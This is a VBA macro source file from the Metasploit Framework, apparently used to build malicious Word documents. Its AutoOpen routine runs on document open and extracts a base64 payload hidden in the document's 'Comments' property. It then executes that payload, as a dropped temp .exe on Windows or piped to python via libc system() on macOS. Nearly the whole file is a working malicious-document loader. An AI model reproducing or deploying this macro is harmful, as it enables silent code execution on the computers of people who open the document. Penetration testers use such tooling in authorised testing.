metasploit-framework/external/source/exploits/office_word_macro/macro.vba

Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

Sub AutoOpen()
    On Error Resume Next
    Dim found_value As String

    For Each prop In ActiveDocument.BuiltInDocumentProperties
        If prop.Name = "Comments" Then
            found_value = Mid(prop.Value, 56)
            orig_val = Base64Decode(found_value)
            #If Mac Then
                ExecuteForOSX (orig_val)
            #Else
                ExecuteForWindows (orig_val)
            #End If
            Exit For
        End If
    Next
End Sub

Sub ExecuteForWindows(code)
    On Error Resume Next
    Set fso = CreateObject("Scripting.FileSystemObject")
    tmp_folder = fso.GetSpecialFolder(2)
    tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe"
    Set f = fso.createTextFile(tmp_name)
    f.Write (code)
    f.Close
    CreateObject("WScript.Shell").Run (tmp_name)
End Sub

Sub ExecuteForOSX(code)
    system ("echo """ & code & """ | python &")
End Sub


' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
  'rfc1521
  '1999 Antonin Foller, Motobit Software, http://Motobit.cz
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")
  
  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "Base64Decode", "Bad Base64 string."
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  Base64Decode = sOut
End Function